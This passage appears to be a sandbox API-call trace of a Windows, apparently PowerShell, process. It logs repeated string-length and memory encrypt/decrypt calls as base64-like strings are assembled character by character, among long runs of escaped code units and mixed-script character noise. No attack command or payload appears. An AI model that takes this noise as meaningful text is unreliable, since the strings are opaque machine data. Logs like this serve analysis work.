(param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff") returned 0x20 [0138.377] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff") returned 0x20 [0138.377] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff") returned 0x28 [0138.377] SystemFunction041 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.377] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthkFQWAC樹驏ౘ裡䄎렩丬") returned 0x28 [0138.378] SystemFunction040 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.378] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\xaab8\xce22\x4ce2\xd933\xe1a7\xb650\xb12d\xf33e") returned 0x28 [0138.378] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\xaab8\xce22\x4ce2\xd933\xe1a7\xb650\xb12d\xf33e") returned 0x28 [0138.378] SystemFunction041 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.378] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthkFQWACf驏ౘ裡䄎렩丬") returned 0x28 [0138.378] SystemFunction040 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.378] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x6972\xa854\xa179\x3910\xc5a1\x7cba\xd0b3\x6339") returned 0x28 [0138.378] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x6972\xa854\xa179\x3910\xc5a1\x7cba\xd0b3\x6339") returned 0x28 [0138.378] SystemFunction041 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.378] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthkFQWACfPౘ裡䄎렩丬") returned 0x28 [0138.378] SystemFunction040 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.378] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\xd543\x1558\xd481\x6eec\x9224\x8d4d\xbef9\x4dd") returned 0x28 [0138.378] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\xd543\x1558\xd481\x6eec\x9224\x8d4d\xbef9\x4dd") returned 0x28 [0138.378] SystemFunction041 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.378] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthkFQWACfPZ裡䄎렩丬") returned 0x28 [0138.378] SystemFunction040 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.378] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\xa5e1\xdaff\xe0cd\x3453\xebf5\xa59\x63ea\x9c97") returned 0x28 [0138.378] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\xa5e1\xdaff\xe0cd\x3453\xebf5\xa59\x63ea\x9c97") returned 0x28 [0138.378] SystemFunction041 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.378] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthkFQWACfPZC䄎렩丬") returned 0x28 [0138.378] SystemFunction040 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.379] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x4309\xaa46\x999f\x6f41\xe6b8\x59a8\xa183\x1608") returned 0x28 [0138.379] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x4309\xaa46\x999f\x6f41\xe6b8\x59a8\xa183\x1608") returned 0x28 [0138.379] SystemFunction041 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.379] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthkFQWACfPZCB렩丬") returned 0x28 [0138.379] SystemFunction040 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.379] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x5d67\xca08\x7ae3\x532a\x6bfa\xc74e\xdb6f\x9512") returned 0x28 [0138.379] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x5d67\xca08\x7ae3\x532a\x6bfa\xc74e\xdb6f\x9512") returned 0x28 [0138.379] SystemFunction041 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.379] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthkFQWACfPZCB8丬") returned 0x28 [0138.379] SystemFunction040 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.379] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x6e0d\xb398\x821\xcc37\xfae7\xd41f\xef10\x9f92") returned 0x28 [0138.379] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x6e0d\xb398\x821\xcc37\xfae7\xd41f\xef10\x9f92") returned 0x28 [0138.379] SystemFunction041 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.379] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthkFQWACfPZCB8h") returned 0x28 [0138.379] SystemFunction040 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.379] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x45cb\xae12\x2284\x3393\x186b\x81b1\x48cb\xba33") returned 0x28 [0138.379] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x45cb\xae12\x2284\x3393\x186b\x81b1\x48cb\xba33") returned 0x28 [0138.379] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x45cb\xae12\x2284\x3393\x186b\x81b1\x48cb\xba33") returned 0x28 [0138.379] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x45cb\xae12\x2284\x3393\x186b\x81b1\x48cb\xba33\x53\x77\x4a\x41\x46\x4a\x6a\x61") returned 0x30 [0138.379] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0138.379] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthkFQWACfPZCB8hGᶘㇳ﹁궟澘⠥") returned 0x30 [0138.379] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0138.380] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x45cb\xae12\x2284\x3393\x186b\x81b1\x48cb\xba33\x7c96\x4307\x38df\x4955\x3bd9\xfd8b\x5653\x8a0a") returned 0x30 [0138.380] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x45cb\xae12\x2284\x3393\x186b\x81b1\x48cb\xba33\x7c96\x4307\x38df\x4955\x3bd9\xfd8b\x5653\x8a0a") returned 0x30 [0138.380] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0138.380] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthkFQWACfPZCB8hGfᶘㇳ﹁궟澘⠥") returned 0x30 [0138.380] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0138.380] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x45cb\xae12\x2284\x3393\x186b\x81b1\x48cb\xba33\xdd1f\x3f97\x6d31\x10c1\x6ac2\x8f76\x92e\xec5f") returned 0x30 [0138.380] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x45cb\xae12\x2284\x3393\x186b\x81b1\x48cb\xba33\xdd1f\x3f97\x6d31\x10c1\x6ac2\x8f76\x92e\xec5f") returned 0x30 [0138.380] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0138.380] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthkFQWACfPZCB8hGfAㇳ﹁궟澘⠥") returned 0x30 [0138.380] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0138.380] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x45cb\xae12\x2284\x3393\x186b\x81b1\x48cb\xba33\x209a\x27aa\xab6e\x8c46\x3775\x4155\xa3e1\x3fea") returned 0x30 [0138.380] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff\x45cb\xae12\x2284\x3393\x186b\x81b1\x48cb\xba33\x209a\x27aa\xab6e\x8c46\x3775\x4155\xa3e1\x3fea") returned 0x30 [0138.380] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0138.380] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthkFQWACfPZCB8hGfA=﹁궟澘⠥") returned 0x30 [0138.380] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0138.380] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.380] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.380] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.381] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0138.381] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.381] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.381] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.381] SysStringLen (param_1="") returned 0x8 [0138.381] SysStringLen (param_1="Y") returned 0x8 [0138.381] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.381] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0138.381] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0138.381] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.381] SysStringLen (param_1="YW") returned 0x8 [0138.381] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.382] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0138.382] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0138.382] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.382] SysStringLen (param_1="YWM") returned 0x8 [0138.382] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.382] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0138.382] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0138.382] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.382] SysStringLen (param_1="YWM1") returned 0x8 [0138.382] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.382] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0138.382] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0138.382] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.382] SysStringLen (param_1="YWM1O") returned 0x8 [0138.382] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.382] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0138.382] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0138.382] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.382] SysStringLen (param_1="YWM1OT") returned 0x8 [0138.382] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.382] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0138.383] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0138.383] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.383] SysStringLen (param_1="YWM1OTE") returned 0x8 [0138.383] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.383] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0138.383] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0138.383] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.383] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0138.383] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.383] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.383] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.383] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.383] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0138.383] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.383] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0138.383] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.383] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0138.383] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0138.383] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.383] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0138.383] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.383] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0138.383] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0138.384] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.384] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0138.384] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.384] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0138.384] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0138.384] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.384] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0138.384] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.384] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0138.384] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0138.384] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.384] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0138.384] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.384] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0138.384] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0138.384] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.384] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0138.384] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.384] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0138.384] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0138.384] 